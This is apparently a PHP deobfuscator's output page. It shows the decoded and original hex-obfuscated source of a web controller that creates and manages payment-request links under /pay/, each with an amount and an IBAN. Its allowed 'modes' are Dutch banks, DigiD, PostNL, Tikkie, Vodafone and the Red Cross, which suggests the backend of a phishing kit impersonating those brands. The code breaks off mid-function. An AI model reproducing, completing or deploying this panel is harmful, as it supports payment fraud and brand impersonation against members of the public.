Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App..
Decoded Output download
<?php
namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App\Auth; class Requests extends \Core\Controller { public function requestsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["name"]) && isset($_POST["amount"]) && isset($_POST["description"]) && isset($_POST["iban"]) && isset($_POST["url"]) && isset($_POST["mode"])) { if (empty($_POST["name"])) { $_POST["name"] = $_POST["mode"]; } $data = array("name" => $_POST["name"], "amount" => $_POST["amount"], "description" => $_POST["description"], "iban" => $_POST["iban"], "url" => $_POST["url"], "mode" => $_POST["mode"]); $errors = array("url" => '', "mode" => ''); if (empty($data["url"])) { $errors["url"] = "empty_url"; } else { $check = User::checkRequest($_SESSION["username"], $data["url"]); if ($check) { $data["url"] = uniqid(); } } if (empty($data["mode"]) || $data["mode"] != "postnl" && $data["mode"] != "rodekruis" && $data["mode"] != "verzekering" && $data["mode"] != "digid" && $data["mode"] != "rabo" && $data["mode"] != "ing" && $data["mode"] != "tikkie" && $data["mode"] != "mp" && $data["mode"] != "bunq" && $data["mode"] != "vodafone") { $errors["mode"] = "invalid_mode"; } if (empty($errors["url"]) && empty($errors["mode"])) { $check = User::createRequest($data, $_SESSION["username"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { echo json_encode($errors); } } else { View::render("Users/requests.php", array("title" => "Requests")); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function deleteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"])) { $data = array("id" => $_POST["id"]); $errors = array("id" => ''); if (empty($data["id"])) { $errors["id"] = "empty_id"; } if (empty($errors["id"])) { $check = User::deleteRequest($_SESSION["username"], $data["id"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { echo json_encode($errors); } } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function deleteAllAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST") { $check = User::deleteRequests($_SESSION["username"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } public function allRequestsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["username"]); if ($data) { if ($_SERVER["REQUEST_METHOD"] == "POST") { $requests = User::getRequests($_SESSION["username"]); $this->showRequests($requests); } else { static::redirect("/login"); } } else { Auth::destroySession(); } } else { static::redirect("/login"); } } private function showRequests($requests) { foreach ($requests as $request) { echo "<div class="col-sm-12 col-md-6 col-lg-4">"; echo "<div class="card mb-4 bg-darker custom-card">"; echo "<a href="#" . htmlspecialchars($request["mode"]) . htmlspecialchars($request["url"]) . "" class="d-block card-header py-3 collapsed bg-darker" data-toggle="collapse" role="button" aria-expanded="false" aria-controls="collapseCardExample" style="border-bottom-color: transparent;">"; if ($request["mode"] == "tikkie") { echo "<h6 class="m-0 font-weight-bold text-white"><img class="pr-3" width="40" src="/img/tikkie.png">" . htmlspecialchars($request["name"]) . "</h6>"; } else { if ($request["mode"] == "verzekering") { echo "<h6 class="m-0 font-weight-bold text-white"><img class="pr-3" width="50" src="/img/ics.jpg">ICS</h6>"; } } echo "</a>"; echo "<div class="collapse" id="" . htmlspecialchars($request["mode"]) . htmlspecialchars($request["url"]) . "" style="">"; echo "<div class="card-body">"; echo "<div class="form-group row mb-0"><label class="col-sm-4 font-weight-bold mb-0">URL </label><div class="col-sm-8 mb-2"><a class="text-danger" target="_blank" href="/pay/" . htmlspecialchars($request["url"]) . "">/" . htmlspecialchars($request["url"]) . "</a></div></div>"; echo "<div class="form-group row mb-0"><label class="col-sm-4 font-weight-bold mb-0">Made </label><div class="col-sm-8 mb-2">" . htmlspecialchars($request["created_at"]) . "</div></div>"; echo "<hr>"; ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Controllers\Users; use Core\View; use App\Models\Users\User; use App\Auth; class Requests extends \Core\Controller { public function requestsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\x75\x73\145\x72\x6e\141\x6d\x65"]); if ($data) { if ($_SERVER["\x52\105\121\x55\x45\123\124\137\115\105\x54\110\x4f\104"] == "\x50\117\x53\x54" && isset($_POST["\156\141\x6d\145"]) && isset($_POST["\141\x6d\x6f\x75\x6e\x74"]) && isset($_POST["\x64\145\163\143\x72\151\160\x74\151\157\156"]) && isset($_POST["\x69\142\x61\x6e"]) && isset($_POST["\x75\x72\154"]) && isset($_POST["\x6d\157\144\145"])) { if (empty($_POST["\156\x61\x6d\x65"])) { $_POST["\156\x61\x6d\145"] = $_POST["\x6d\157\144\x65"]; } $data = array("\x6e\x61\155\x65" => $_POST["\156\x61\155\x65"], "\141\x6d\157\x75\156\x74" => $_POST["\x61\155\x6f\x75\156\164"], "\144\x65\x73\x63\x72\151\160\x74\151\x6f\x6e" => $_POST["\144\145\163\143\162\x69\x70\x74\151\x6f\156"], "\x69\142\x61\156" => $_POST["\151\x62\141\x6e"], "\x75\x72\x6c" => $_POST["\x75\162\154"], "\x6d\157\x64\x65" => $_POST["\x6d\157\144\x65"]); $errors = array("\165\162\x6c" => '', "\155\x6f\x64\145" => ''); if (empty($data["\165\162\154"])) { $errors["\165\162\x6c"] = "\x65\155\x70\x74\x79\137\165\162\x6c"; } else { $check = User::checkRequest($_SESSION["\165\x73\x65\x72\156\141\155\x65"], $data["\165\162\154"]); if ($check) { $data["\x75\x72\x6c"] = uniqid(); } } if (empty($data["\155\157\x64\x65"]) || $data["\x6d\x6f\144\145"] != "\x70\157\163\164\156\x6c" && $data["\155\157\x64\145"] != "\x72\x6f\144\x65\153\x72\x75\151\163" && $data["\x6d\157\x64\145"] != "\166\x65\x72\x7a\x65\153\145\162\x69\x6e\147" && $data["\x6d\x6f\x64\x65"] != "\x64\151\147\151\144" && $data["\155\157\144\145"] != "\162\x61\x62\x6f" && $data["\155\157\144\145"] != "\151\156\147" && $data["\155\x6f\144\145"] != "\164\151\153\153\151\145" && $data["\155\157\x64\x65"] != "\155\x70" && $data["\155\x6f\x64\x65"] != "\142\x75\x6e\x71" && $data["\x6d\x6f\x64\145"] != "\166\x6f\x64\141\x66\x6f\156\x65") { $errors["\x6d\x6f\x64\145"] = "\151\x6e\x76\x61\154\x69\x64\x5f\155\x6f\144\145"; } if (empty($errors["\165\x72\154"]) && empty($errors["\x6d\x6f\144\145"])) { $check = User::createRequest($data, $_SESSION["\165\x73\145\162\156\141\x6d\x65"]); if ($check) { echo json_encode(array("\163\165\143\x63\145\x73\163" => "\x74\x72\x75\145")); } else { echo json_encode(array("\146\141\151\x6c" => "\162\145\x71\x75\x65\x73\164\137\x66\x61\x69\x6c\x65\144")); } } else { echo json_encode($errors); } } else { View::render("\125\163\x65\162\163\57\x72\x65\161\x75\145\x73\164\163\x2e\x70\150\160", array("\164\151\x74\154\145" => "\122\x65\161\165\145\x73\164\x73")); } } else { Auth::destroySession(); } } else { static::redirect("\x2f\x6c\157\147\151\x6e"); } } public function deleteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\x75\x73\x65\162\x6e\141\x6d\145"]); if ($data) { if ($_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\x4d\x45\124\x48\117\104"] == "\x50\117\123\124" && isset($_POST["\151\144"])) { $data = array("\151\x64" => $_POST["\x69\x64"]); $errors = array("\x69\x64" => ''); if (empty($data["\x69\x64"])) { $errors["\151\x64"] = "\145\x6d\x70\164\x79\137\x69\144"; } if (empty($errors["\151\x64"])) { $check = User::deleteRequest($_SESSION["\165\163\145\162\156\141\155\145"], $data["\151\144"]); if ($check) { echo json_encode(array("\x73\165\143\143\145\163\x73" => "\164\162\x75\145")); } else { echo json_encode(array("\146\141\151\x6c" => "\162\145\x71\165\x65\x73\x74\x5f\146\141\x69\154\145\144")); } } else { echo json_encode($errors); } } else { static::redirect("\x2f\154\x6f\x67\x69\156"); } } else { Auth::destroySession(); } } else { static::redirect("\57\x6c\x6f\147\151\156"); } } public function deleteAllAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\x75\163\145\162\156\x61\x6d\145"]); if ($data) { if ($_SERVER["\122\105\121\125\105\x53\x54\x5f\x4d\x45\x54\110\x4f\x44"] == "\120\117\x53\x54") { $check = User::deleteRequests($_SESSION["\165\163\145\162\x6e\141\155\x65"]); if ($check) { echo json_encode(array("\163\165\x63\x63\145\163\x73" => "\164\x72\x75\x65")); } else { echo json_encode(array("\146\141\x69\x6c" => "\x72\x65\161\165\x65\x73\164\137\146\x61\151\x6c\x65\x64")); } } else { static::redirect("\x2f\x6c\157\x67\x69\156"); } } else { Auth::destroySession(); } } else { static::redirect("\x2f\x6c\157\147\x69\156"); } } public function allRequestsAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION["\165\x73\x65\162\156\x61\x6d\x65"]); if ($data) { if ($_SERVER["\122\105\x51\x55\x45\x53\124\137\115\x45\x54\x48\117\104"] == "\x50\x4f\x53\x54") { $requests = User::getRequests($_SESSION["\165\163\x65\x72\156\141\155\x65"]); $this->showRequests($requests); } else { static::redirect("\57\154\157\x67\x69\x6e"); } } else { Auth::destroySession(); } } else { static::redirect("\x2f\154\157\147\x69\x6e"); } } private function showRequests($requests) { foreach ($requests as $request) { echo "\74\x64\151\166\x20\x63\154\141\163\x73\75\x22\x63\x6f\154\55\163\155\55\x31\62\x20\143\157\154\x2d\155\x64\55\x36\x20\143\x6f\154\x2d\154\x67\55\64\x22\x3e"; echo "\x3c\144\151\166\40\x63\x6c\141\x73\x73\75\42\x63\141\x72\x64\x20\155\142\55\x34\x20\x62\x67\55\144\141\x72\153\x65\162\40\x63\165\163\164\x6f\155\x2d\x63\x61\x72\x64\x22\76"; echo "\74\141\x20\x68\x72\x65\x66\x3d\42\x23" . htmlspecialchars($request["\x6d\157\144\145"]) . htmlspecialchars($request["\165\x72\154"]) . "\x22\40\x63\154\x61\x73\163\x3d\x22\x64\x2d\x62\154\157\143\x6b\x20\x63\141\x72\144\55\x68\145\x61\x64\x65\x72\40\x70\x79\55\x33\40\143\157\154\x6c\x61\160\x73\x65\144\x20\142\147\x2d\x64\x61\162\x6b\x65\x72\x22\x20\x64\x61\164\x61\x2d\164\157\x67\x67\x6c\x65\75\42\143\x6f\x6c\154\141\x70\163\145\42\40\162\157\x6c\145\75\42\142\x75\x74\x74\157\156\42\x20\141\x72\x69\141\55\145\x78\x70\x61\x6e\x64\145\144\x3d\42\146\x61\x6c\163\145\x22\40\141\162\151\x61\55\x63\x6f\x6e\164\162\x6f\x6c\163\x3d\42\x63\157\x6c\x6c\141\x70\x73\x65\103\141\x72\x64\x45\x78\x61\155\160\x6c\x65\x22\x20\x73\x74\x79\x6c\145\75\42\x62\157\x72\x64\x65\162\55\142\157\164\x74\x6f\x6d\x2d\x63\157\154\157\162\x3a\40\164\162\141\156\x73\160\141\162\145\156\x74\x3b\x22\x3e"; if ($request["\x6d\157\x64\145"] == "\x74\151\x6b\x6b\151\145") { echo "\74\150\x36\40\143\154\141\x73\x73\x3d\42\x6d\x2d\x30\40\x66\157\x6e\x74\x2d\x77\145\151\147\x68\164\55\x62\x6f\154\144\x20\x74\x65\x78\164\x2d\167\150\151\x74\145\x22\x3e\74\x69\155\x67\x20\x63\x6c\x61\163\163\x3d\x22\160\162\55\x33\42\x20\x77\x69\x64\164\150\x3d\x22\64\60\42\x20\x73\x72\x63\x3d\42\57\x69\155\147\57\x74\x69\x6b\x6b\x69\145\56\x70\156\147\x22\x3e" . htmlspecialchars($request["\x6e\x61\x6d\x65"]) . "\74\57\x68\66\x3e"; } else { if ($request["\155\157\x64\145"] == "\x76\x65\162\172\145\x6b\x65\162\x69\x6e\147") { echo "\74\150\x36\40\143\154\141\163\163\75\42\155\55\x30\40\x66\x6f\x6e\164\x2d\167\x65\151\147\150\164\x2d\142\157\x6c\x64\40\x74\x65\170\164\55\167\150\151\164\145\42\76\x3c\x69\155\147\40\x63\154\141\x73\x73\75\x22\x70\162\x2d\63\42\x20\x77\x69\x64\164\150\x3d\x22\65\60\x22\x20\x73\162\x63\75\x22\57\151\155\x67\57\151\x63\x73\x2e\152\160\x67\42\76\x49\x43\123\x3c\x2f\x68\66\x3e"; } } echo "\x3c\x2f\141\76"; echo "\74\x64\x69\x76\x20\x63\154\x61\x73\x73\x3d\42\143\x6f\154\x6c\x61\160\163\x65\x22\x20\151\x64\75\42" . htmlspecialchars($request["\155\x6f\x64\x65"]) . htmlspecialchars($request["\x75\162\154"]) . "\x22\40\163\x74\x79\x6c\145\x3d\x22\x22\76"; echo "\74\x64\151\x76\40\143\154\141\x73\163\75\x22\x63\x61\x72\x64\x2d\x62\x6f\x64\171\42\76"; echo "\x3c\144\151\x76\40\x63\154\141\163\163\x3d\42\146\157\x72\x6d\55\x67\162\x6f\x75\x70\x20\162\157\167\40\155\x62\55\60\42\76\x3c\x6c\x61\142\145\x6c\40\x63\154\x61\163\x73\75\42\143\157\x6c\x2d\x73\155\x2d\64\x20\x66\157\156\x74\55\167\x65\x69\147\x68\x74\x2d\x62\157\154\x64\40\x6d\x62\x2d\x30\x22\x3e\x55\122\114\40\x3c\57\154\141\142\x65\154\76\74\144\151\x76\x20\143\x6c\x61\163\x73\75\x22\143\157\x6c\55\163\x6d\x2d\x38\40\x6d\142\55\62\42\76\74\141\x20\143\x6c\x61\163\163\75\42\x74\x65\x78\x74\x2d\x64\x61\x6e\x67\145\162\42\x20\164\141\x72\x67\x65\164\75\x22\x5f\142\154\141\x6e\153\x22\40\x68\162\x65\146\x3d\42\57\x70\141\x79\x2f" . htmlspecialchars($request["\165\x72\x6c"]) . "\x22\x3e\x2f" . htmlspecialchars($request["\x75\x72\154"]) . "\74\x2f\141\x3e\74\57\x64\x69\166\76\x3c\57\144\151\166\76"; echo "\x3c\144\151\166\x20\143\154\141\x73\163\75\42\x66\x6f\x72\155\x2d\147\x72\x6f\165\x70\40\162\x6f\167\x20\x6d\142\55\60\42\76\74\154\x61\x62\x65\154\40\x63\154\141\x73\x73\x3d\42\x63\157\x6c\x2d\x73\x6d\x2d\64\40\x66\157\x6e\x74\x2d\167\x65\151\x67\150\164\55\142\x6f\154\x64\x20\x6d\142\x2d\60\42\76\115\x61\x64\145\40\74\57\x6c\x61\142\145\x6c\76\x3c\x64\x69\x76\40\143\x6c\x61\x73\163\x3d\x22\x63\x6f\x6c\55\x73\x6d\x2d\70\40\155\142\55\x32\x22\76" . htmlspecialchars($request["\x63\162\145\141\x74\145\x64\137\141\164"]) . "\x3c\x2f\x64\151\x76\76\74\x2f\x64\x69\x76\x3e"; echo "\74\x68\162\76"; ?>
Function Calls
None |
Stats
MD5 | b7e752da645d9f13efba39f15f71add9 |
Eval Count | 0 |
Decode Time | 55 ms |